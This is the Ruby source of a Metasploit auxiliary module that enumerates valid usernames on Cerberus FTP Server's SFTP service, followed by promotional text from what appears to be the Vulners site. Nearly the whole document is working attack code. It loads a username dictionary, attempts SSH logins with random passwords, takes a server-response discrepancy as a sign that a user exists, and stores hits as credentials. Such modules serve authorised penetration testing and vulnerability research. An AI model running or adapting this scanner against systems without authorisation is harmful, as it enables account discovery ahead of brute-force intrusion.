`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
'Description' => %q{
This module uses a dictionary to brute force valid usernames from
Cerberus FTP server via SFTP. This issue affects all versions of
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
in the way the SSH service handles failed logins for valid and invalid
users. This issue was discovered by Steve Embling.
},
'Author' => [
'Steve Embling', # Discovery
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
[ 'BID', '67707']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2014-05-27'
))
register_options(
[
Opt::Proxies,
Opt::RPORT(22),
OptPath.new(
'USER_FILE',
[true, 'Files containing usernames, one per line', nil])
], self.class
)
register_advanced_options(
[
OptInt.new(
'RETRY_NUM',
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
OptInt.new(
'SSH_TIMEOUT',
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
OptBool.new(
'SSH_DEBUG',
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end
def rport
datastore['RPORT']
end
def retry_num
datastore['RETRY_NUM']
end
def check_vulnerable(ip)
opt_hash = {
:port => rport,
:auth_methods => ['password', 'keyboard-interactive'],
:use_agent => false,
:config => false,
:password_prompt => Net::SSH::Prompt.new,
:non_interactive => true,
:proxies => datastore['Proxies'],
:verify_host_key => :never
}
begin
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
rescue Rex::ConnectionError
return :connection_error
end
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
auth_method = auth.allowed_auth_methods.join('|')
print_good "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
report_service(
host: ip,
port: rport,
name: "ssh",
proto: "tcp",
info: auth.transport.server_version.version
)
if auth_method.empty?
:vulnerable
else
:safe
end
end
def check_user(ip, user, port)
pass = Rex::Text.rand_text_alphanumeric(8)
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => port,
:use_agent => false,
:config => false,
:proxies => datastore['Proxies'],
:verify_host_key => :never
}
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
auth.authenticate("ssh-connection", user, pass)
auth_method = auth.allowed_auth_methods.join('|')
if auth_method != ''
:success
else
:fail
end
end
rescue Rex::ConnectionError
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :success
rescue ::Timeout::Error
return :connection_error
end
end
def do_report(ip, user, port)
service_data = {
address: ip,
port: rport,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
def peer(rhost=nil)
"#{rhost}:#{rport} SSH -"
end
def user_list
users = nil
if File.readable? datastore['USER_FILE']
users = File.new(datastore['USER_FILE']).read.split
users.each {|u| u.downcase!}
users.uniq!
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
users
end
def attempt_user(user, ip)
attempt_num = 0
ret = nil
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
if attempt_num > 0
Rex.sleep(2 ** attempt_num)
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
end
ret = check_user(ip, user, rport)
attempt_num += 1
end
ret
end
def show_result(attempt_result, user, ip)
case attempt_result
when :success
print_good "#{peer(ip)} User '#{user}' found"
do_report(ip, user, rport)
when :connection_error
print_error "#{peer(ip)} User '#{user}' could not connect"
when :fail
vprint_status "#{peer(ip)} User '#{user}' not found"
end
end
def run_host(ip)
print_status "#{peer(ip)} Checking for vulnerability"
case check_vulnerable(ip)
when :vulnerable
print_good "#{peer(ip)} Vulnerable"
print_status "#{peer(ip)} Starting scan"
user_list.each do |user|
show_result(attempt_user(user, ip), user, ip)
end
when :safe
print_error "#{peer(ip)} Not vulnerable"
when :connection_error
print_error "#{peer(ip)} Connection failed"
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation